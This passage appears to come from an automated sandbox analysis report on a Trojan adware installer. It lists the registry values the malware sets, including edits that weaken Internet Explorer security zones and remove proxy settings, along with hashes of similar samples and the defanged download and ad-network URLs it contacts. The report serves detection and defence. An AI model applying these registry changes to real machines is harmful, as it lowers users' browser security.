"Seed" = "45 E9 60 35 58 C3 35 60 BE BA 2A 84 A5 4F D7 94"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"

[HKLM\SOFTWARE\Microsoft\ESENT\Process\LTV2\DEBUG]
"Trace Level" = ""

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The Trojan deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Microsoft\ESENT\Process\LTV2\DEBUG]
"Trace Level"

The process LTV2.exe:3028 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "5B 03 E6 AE 91 A8 0B E7 0C 36 D6 C1 68 26 9E 3F"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"Guid" = "8aefce96-4618-42ff-a057-3536aa78233e"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"Active" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryMessageFile" = "%System%\ESENT.dll"
"EventMessageFile" = "%System%\ESENT.dll"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"Active" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"Active" = "1"
"ControlFlags" = "1"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy\traceIdentifier]
"BitNames" = " Error Unusual Info Debug"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\QUtil]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg\traceIdentifier]
"Guid" = "5f31090b-d990-4e91-b16d-46121d0255aa"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"ControlFlags" = "1"

[HKLM\System\CurrentControlSet\Services\Eventlog\Application\ESENT]
"CategoryCount" = "16"
"TypesSupported" = "7"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappcfg]
"LogSessionName" = "stdout"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Tracing\Microsoft\eappprxy]
"ControlFlags" = "1"

The process %original file name%.exe:1992 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\05dc20f9-acaf-4637-badd-964e83134c18]
"mixvideoplayersetup.exe" = "mixvideoplayersetup"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "%original file name%.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1431705309"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "41 27 79 BB 8A 05 62 94 C4 A1 A8 01 EF 13 60 41"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache\%Program Files%\Internet Explorer]
"iexplore.exe" = "Internet Explorer"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process BrowserWeb.exe:2180 makes changes in the system registry.
The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2A 40 BA FD 1E 87 1B 19 FD 4F 6D 17 C0 C9 40 3A"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

No information is available.

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 32
b961127ce2ebed0b1d793fc1457c062b
586a7d0c906a5a725405d7041f755366
29517c8981aeed04f8c4da7b1ff5382b
862b28a00ab3dec3e0e71bb608cfe62c
d0fbd988a684011254a7396a2f80d9f3
21e07880b0ebe2241d35fea00a17eda7
66a863350764d479e42897f125f64ca9
797642aec7e9a15be35dc56028194470
9870e739dd72af3c09ac0240c6689868
0545481fbd2161083c5144dceae0890f
c3489f84410649c5715e0a46663fa65c
5db8a3e1287bce870134f34333f5de30
c8cc06158732f7bd26a70d24d556715b
c15197f96a6d91ed5489090f86aadc16
70a3ea306318570c5d99baf2e0132ad6
2f839c7b998efc06799fce7754d86702
d2f0d537f79000fd520bb33201c511a8
e76822b889c8dc38923309d2812e14e6
4a7c6c2670efd2cbc4e42a341c68fd89
ac25c051bbdc5783515026e0952f726a
eef7251cc09ae712e94efa1a78a85245
685d846920f78a8aac14ba33111bb64b
91689b79cd15ba0989c3f016ea920580
be94147b408a6c546a093ffe4a89b8dc
5bbab558c65fd6d04bc98b96d714d64b

URLs

URL	IP
hxxp://api.magnodownload.com/	54.191.3.243
hxxp://api.magnodownload.com/d5/msjava.dll	54.191.3.243
hxxp://api.magnodownload.com/?ctrak3.2.587=c_Start_Application	54.191.3.243
hxxp://api.magnodownload.com/9fd2cb3626e62d9f89d007c74b2c812a2fd39f0c3de7eb7b41313171d5f4dac85e29346f47a620709ba76612626537660c88d2b167474111c3c92450b16323ab818a3d59df09e4ccd1018de308ef5f065ae2d40a7dae028341c5ad003cd38142eef5d67696556078	54.191.3.243
hxxp://api.magnodownload.com/945b87404655389288b7fb2a9611b8ad46ee1bb4430308519c9f16d1587274eb65dce3c1fdc5c473c7ed71bb87481a6fdaf6c52748dfbe98	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/style.css	54.191.3.243
hxxp://api.magnodownload.com/__maxpower__/render_template/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab?language_code=en	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/apps/34/68794/css/style.css	54.191.3.243
hxxp://api.magnodownload.com/__maxpower__/render_screen/2014/11/8b9c3fb4-73d0-11e4-925e-06a3579b0dab/screen_variation=videoUpdater	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/i-download.png	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loading-install.gif	54.191.3.243
hxxp://staticrr.tgusrv.com/sdb/84/MixVideoPlayerSetup.exe
hxxp://api.magnodownload.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/loadingBar.gif	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/progress-bar.png	54.191.3.243
hxxp://www.magnodownload.com/BesH3gE9/pop-up/	54.213.71.128
hxxp://www.magnodownload.com/lpresources/js/linkv2.js	54.213.71.128
hxxp://www.magnodownload.com/lpresources/js/ainj.js	54.213.71.128
hxxp://www.magnodownload.com/lpresources/js/dlStoragev1.js	54.213.71.128
hxxp://www.magnodownload.com/mh/53a811d55f1c1e744b000002/2307c835-660a-4bd8-a3df-031d9af89e85/53a811d55f1c1e744b000002/default/media/js/jquery-1.11.1.min.js	54.213.71.128
hxxp://n149adserv.com/js/show_ads.js	212.124.115.203
hxxp://n149adserv.com/ads-sync.js?v=1&key=8807bef3df789cfc967df2f12545a152&ch=&click=&tz=3&t=1434687456203&requestUrl=http://www.magnodownload.com/BesH3gE9/pop-up/&requestRef=&flashVer=11.6 r602&scrWidth=1276&scrHeight=846&cIds=	212.124.115.203
hxxp://n149adserv.com/impression.gif?b=778&p=27&ch=&ap=&cps=&c=76&l=UA&h=acf77f38e46b2eec6d48af61483c53a7&t=1434687456547&s=8b63c92e3ac259a2e3f4bb02c2cb3d20	212.124.115.203
hxxp://onclickads.net/afu.php?zoneid=313275	78.140.191.109
hxxp://onclickads.net/?r=/mb/han&zoneid=313275&pbk2=8b51580768731a8986196e84654426cf6161935679395778977&saved_referer=&adparams=bm9qcz0w&a=1256&b=693	78.140.191.109
hxxp://api.magnodownload.com/__maxpower__/render_screen/2014/11/a888aa68-73d0-11e4-b71d-06a3579b0dab/screen_variation=videoUpdater	54.191.3.243
hxxp://api.magnodownload.com/maxpower-static/templates/2014/11/71be70f4-73cf-11e4-b71d-06a3579b0dab/css/images/bullet-short.gif	54.191.3.243
hxxp://click.alibaba.com/rd/vutlr5u3?pid=313275&tp1=78219838873&cv=147001&cn=UA	198.11.132.6
hxxp://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf	198.11.136.39
hxxp://a1049.w55.akamai.net/js/6v/atom/??atom-sc.js?t=8e2771a7_11ce291e2b
hxxp://a1049.w55.akamai.net/css/6v/??run/arcadia/landing-page/lp-layout-premium-market.css,run/list/common/default.css,run/arcadia/landing-page/lp-category-list.css,run/arcadia/category/categories-home.css,apollo/mod/header/header-v4-sc.css,run/common/top-reached/top-reached.css,apollo/mod/footer/footer-v4-sc.css?t=1839ef62e_22db2c054f
hxxp://a1049.w55.akamai.net/js/6v/lib/gallery/??jquery/jquery.js,es5-safe/es5-safe.js,json/json.js?t=db4c592b_0
hxxp://a1049.w55.akamai.net/js/beacon_en.js
hxxp://a1082.w55.akamai.net/wimg/monitor/start-render.png
hxxp://a1049.w55.akamai.net/simg/sprites/env/aisn/ghome/ghome.png?t=4e09143a_0
hxxp://a1049.w55.akamai.net/simg/sprites/app/[email protected]?t=21312772_0
hxxp://www-google-analytics.l.google.com/analytics.js
hxxp://gj.gds.mmstat.com/7.gif?logtype=1&title=&pre=http://onclickads.net/afu.php?zoneid=313275&cache=f0c787f&scr=1276x846&isbeta=5&spm-cnt=0.0.0.0.ySHRO2&aplus&pageid=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ali_apache_id=193.138.244.231.1434687450825.709605.4&dmtrack_c={trfc_i=saf^vutlr5u3^14a53e7r^19o50ibmb|aep_usuc_f=-}&p=1&o=winXP&b=ie6&s=1276x846&w=trident
hxxp://stat.alibaba.com/event/common.html?id=17769&st_page_id=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ver=40&time=1434687458234	205.204.96.98
hxxp://dmtracking2.alibaba.com/b.jpg?cD17MX0mdT17L29mZmVyLmFsaWJhYmEuY29tL2V4Y2x1c2l2ZS5odG1sP2FscHNtPXRydWUmbWF0Y2g9cnVsZSZwcmlvcj1tZWRpdW0mcmFuaz1zb2xlbHAmdHY9MSZpbXA9NWIxZTk2MTlvNTBpYm1hbjZscSZ4cD1PazRUQjBqMHhvaVBoZ0h0azdhSWpKOTlQbnM0bkJEREhTcEk0eUhPNmZHNVBNY0VKS0cxTF8wVkFVdXhHZ2RRLXh4VDVXNXI4RC1qVVphT0JkbW1YeXd4dDVxY2NBaXJCeE1RQkZQbnRMNCZwaWQ9MzEzMjc1JnRkPVByb3BlbGxlcmFkcyZjdj0xNDcwMDEmYWZmX2lkPTE4MjQ2MzYxOCZjdD0xJnNpemU9MDAwXzAwMCZjbj1VQSZhbj0xMDAwMDAwMDQ2MDAxJmJtPWNwYSZ0cDE9NzgyMTk4Mzg4NzMmc3JjPXNhZn0mbT17R0VUfSZzPXsyMDB9JnI9e2h0dHA6Ly9vbmNsaWNrYWRzLm5ldC9hZnUucGhwP3pvbmVpZD0zMTMyNzV9JmE9ey19JmI9ey19JmM9e3RyZmNfaT1zYWZednV0bHI1dTNeMTRhNTNlN3JeMTlvNTBpYm1ifGFlcF91c3VjX2Y9LX0=&pageid=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&sys=ie6.0|windowsXP|1276*846|en-us&ver=40&time=1434687458234	205.204.96.111
hxxp://www-google-analytics.l.google.com/r/collect?v=1&_v=j37&a=1039299095&t=pageview&_s=1&dl=http://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf&dr=http://onclickads.net/afu.php?zoneid=313275&ul=en-us&de=utf-8&dt=Alibaba Premium Marketplace&sd=32-bit&sr=1276x846&vp=1260x681&je=0&fl=11.6 r602&_u=AEAAAEAAI~&jid=677571037&cid=956779042.1434687459&tid=UA-53529524-1&_r=1&z=627225388
hxxp://a1049.w55.akamai.net/js/6v/biz/common/lazyload-images/lazyload-images.js?t=ba5caa31_6b5144d34
hxxp://a1049.w55.akamai.net/js/6v/??biz/list/common/top.js,biz/list/common/bottom.js,biz/aisn/ghome/categories/categories.js,biz/common/header/header-v4-sc.js,biz/common/top-reached/top-reached.js,biz/common/url/url.js,biz/common/cookie-info/cookie-info.js,biz/common/affiliate-remarketing/affiliate-remarketing.js,biz/common/umid/umid.js,biz/arcadia/premium-ppv/premium-ppv.js,lib/gallery/store/store.js?t=388bfba55_1017e8f7eab
hxxp://a1049.w55.akamai.net/js/6v/lib/??arale/class/class.js,arale/events/events.js,arale/base/base.js,icbu/scroll-trigger/scroll-trigger.js?t=191da4a39_975681822
hxxp://a1049.w55.akamai.net/js/6v/??lib/arale/widget/widget.js,lib/arale/position/position.js,lib/arale/iframe-shim/iframe-shim.js,lib/arale/overlay/overlay.js,lib/arale/overlay/mask.js,lib/arale/popup/popup.js,lib/arale/templatable/templatable.js,lib/arale/dialog/dialog.js,lib/arale/cookie/cookie.js,lib/arale/placeholder/placeholder.js,lib/arale/autocomplete/autocomplete.js,lib/gallery/underscore/underscore.js,lib/gallery/handlebars/handlebars.js,lib/gallery/qrcode/qrcode.js,lib/icbu/dialog/dialog.js,lib/icbu/balloon/balloon.js,lib/icbu/messenger/messenger.js,lib/icbu/ghost-panel/ghost-panel.js,biz/list/common/dot/dot.js,biz/list/common/title/title.js,biz/list/common/history/history.js,biz/list/common/history/log.js,biz/list/common/load/load.js,biz/list/common/gotop/gotop.js,biz/list/common/survey/survey.js,biz/list/common/qrcode/qrcode.js,biz/list/common/webatm/webatm.js,biz/common/mcms/mcms.js,biz/common/switch-language/switch-language.js,biz/common/nav/nav.js,biz/common/header/header-module-base.js,biz/common/beacon/beacon-v4-sc.js,biz/common/store-proxy/store-proxy2.js,biz/common/searchbar/searchbar-v4-sc.js?t=10d7b9de90_18d50d0e9f3
hxxp://e11102.b.akamaiedge.net/tps/i2/TB1QtIrFVXXXXbHXFXXIVqAQXXX-1400-160.png
hxxp://e11102.b.akamaiedge.net/tps/i3/TB1knn4HpXXXXc.XVXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i3/TB1_jCQHpXXXXXDXXXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i4/TB16MsBGXXXXXc1XFXXw4O3GXXX-33-20.png
hxxp://pcookie.alibaba.com/app.gif?&cna=3IUKDkZmHT4CAcGK9Odf8bPj	205.204.96.213
hxxp://e11102.b.akamaiedge.net/tps/i4/TB13n.FHXXXXXX7aXXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i3/TB1ciU8HXXXXXahaXXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i1/TB1YUr7HpXXXXXTaXXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i3/TB19_fqGXXXXXXrXFXXSutbFXXX.jpg
hxxp://e11102.b.akamaiedge.net/tps/i4/TB1WJb8HpXXXXcCXFXXoNAWQpXX-300-251.jpg
hxxp://e11102.b.akamaiedge.net/tps/i1/TB1QrZ5HXXXXXbmapXXoNAWQpXX-300-251.jpg
hxxp://offer.alibaba.com/favicon.ico	198.11.136.39
hxxp://a1049.w55.akamai.net/simg/single/icon/loading_16x16.gif?t=30d69a7b_0
hxxp://e11102.b.akamaiedge.net/js/6v/biz/common/store-proxy/store-proxy2.html?iframe_delete=true
hxxp://us-scproxy.alibaba.com/ajaxMemberLevelTag.do?event=getMemberLevel&callback=jQuery183016471045402329565_1434687458109&_=1434687459625
hxxp://us-scproxy.alibaba.com/notification.do?callback=jQuery183016471045402329565_1434687458110&_=1434687459656
hxxp://a1049.w55.akamai.net/js/6v/biz/common/security-umscript/??um.js?t=9d044bd6_0
hxxp://e11102.b.akamaiedge.net/favicon.ico
hxxp://a1082.w55.akamai.net/simg/sprites/env/aisn/goto-top.png
hxxp://a1082.w55.akamai.net/simg/sprites/env/aisn/survey-grey.png
hxxp://a1049.w55.akamai.net/js/6v/biz/common/webatm-new/webatm.js?t=f8341bb2_875dbec1cc
hxxp://a1049.w55.akamai.net/js/6v/??lib/icbu/menu-tree/menu-tree.js,lib/icbu/uploader/uploader.js,lib/icbu/dragdrop/draggable.js,biz/common/drag-paste-widget/drag-paste-widget.js?t=2e3641163_1d539836ca
hxxp://stat.alibaba.com/event/common.html?id=17770&ext=cnatime=1875&st_page_id=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ali_beacon_id=193.138.244.231.1434687452343.865261.8&inc=0&ver=40&time=1434687460047	205.204.96.98
hxxp://stat.alibaba.com/sc/fpc.html?cna=3IUKDkZmHT4CAcGK9Odf8bPj&pageid=c18af4e70ab0c979558397db14e0a094bab1f1e5e8&ali_beacon_id=193.138.244.231.1434687452343.865261.8	205.204.96.98
hxxp://cmap.alibaba.com/ml.html?callback=landing8978252&cna=3IUKDkZmHT4CAcGK9Odf8bPj	205.204.96.142
hxxp://a1049.w55.akamai.net/css/6v/run/common/webatm-new/webatm.css?t=0_102dc101ea
hxxp://a1049.w55.akamai.net/css/6v/run/common/drag-paste/drag-paste.css?t=db4d3b36_0
hxxp://a1049.w55.akamai.net/simg/sprites/env/webatm/common.png?t=ad99287c_0
hxxp://a1049.w55.akamai.net/simg/sprites/env/webatm-new/contacts-icons.png?t=762e3bac_0
hxxp://cmap.alibaba.com/landing.gif	205.204.96.142
hxxp://pagead.l.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm&loop=1
hxxp://pagead.l.doubleclick.net/pixel?google_nid=alibaba_dmp&google_cm=&loop=1&google_tc=
hxxp://cmap.alibaba.com/landing.gif?google_gid=CAESEJc9Iy-qQ6-cMtIeJ5_lwEk&google_cver=1&loop=1	205.204.96.142
hxxp://ynuf.alibaba.com/service/um.json?xv=2.0.3&xt=4a24c602-4ba6-4545-8c83-655868021cbe&xa=scp4p&xh=&x0=0^^1^^1^^1^^1^^1^^1^^1^^5^^1^^color^^-^^1276^^846&x1=1^^1^^1^^1^^0^^0^^1^^0^^0^^en^^-^^0^^Windows XP^^Win32&x2=Mozilla^^;SP3;^^Microsoft Internet Explorer^^3516ab67d54092e6bf44e729b77d6580^^en-us^^x86^^57f2da82064a7b7501289385afb25340^^Adobe Windows^^ActiveX^^en-us^^1def8189f7c620d61827869f51fcf447^^en-us^^WIN 11,6,602,168&x3=818^^1276^^3925^^1400^^846^^-^^http%3A%2F%2Foffer.alibaba.com%2Fexclusive.html%3Falpsm%3Dtrue%26match%3Drule%26prior%3Dmedium%26rank%3Dsolelp%26tv%3D1%26imp%3D5b1e9619o50ibman6lq%26xp%3DOk4TB0j0x^^-^^101^^-^^1434687460797^^120^^1276&xs=null&_callback=_2616_1434687460797	198.11.132.254
hxxp://e11102.b.akamaiedge.net/js/sufei.js?v=2015-05-26
hxxp://www.google-analytics.com/r/collect?v=1&_v=j37&a=1039299095&t=pageview&_s=1&dl=http://offer.alibaba.com/exclusive.html?alpsm=true&match=rule&prior=medium&rank=solelp&tv=1&imp=5b1e9619o50ibman6lq&xp=Ok4TB0j0xoiPhgHtk7aIjJ99Pns4nBDDHSpI4yHO6fG5PMcEJKG1L_0VAUuxGgdQ-xxT5W5r8D-jUZaOBdmmXywxt5qccAirBxMQBFPntL4&pid=313275&td=Propellerads&cv=147001&aff_id=182463618&ct=1&size=000_000&cn=UA&an=1000000046001&bm=cpa&tp1=78219838873&src=saf&dr=http://onclickads.net/afu.php?zoneid=313275&ul=en-us&de=utf-8&dt=Alibaba Premium Marketplace&sd=32-bit&sr=1276x846&vp=1260x681&je=0&fl=11.6 r602&_u=AEAAAEAAI~&jid=677571037&cid=956779042.1434687459&tid=UA-53529524-1&_r=1&z=627225388	216.58.209.174
hxxp://img.alicdn.com/tps/i4/TB1WJb8HpXXXXcCXFXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://img.alibaba.com/js/beacon_en.js	212.30.134.190
hxxp://is.alicdn.com/favicon.ico	23.64.226.88
hxxp://style.aliunicorn.com/js/6v/biz/common/lazyload-images/lazyload-images.js?t=ba5caa31_6b5144d34	212.30.134.221
hxxp://style.aliunicorn.com/css/6v/run/common/drag-paste/drag-paste.css?t=db4d3b36_0	212.30.134.221
hxxp://i02.i.aliimg.com/wimg/monitor/start-render.png	212.30.134.222
hxxp://u.alicdn.com/js/sufei.js?v=2015-05-26	23.64.226.88
hxxp://img.alicdn.com/tps/i3/TB1knn4HpXXXXc.XVXXoNAWQpXX-300-251.jpg	23.64.226.88
hxxp://i02.i.aliimg.com/simg/sprites/env/aisn/survey-grey.png	212.30.134.222
hxxp://staticrr.mixvideoplayer.com/sdb/84/MixVideoPlayerSetup.exe	85.12.5.27
hxxp://style.aliunicorn.com/simg/sprites/env/webatm/common.png?t=ad99287c_0	212.30.134.221
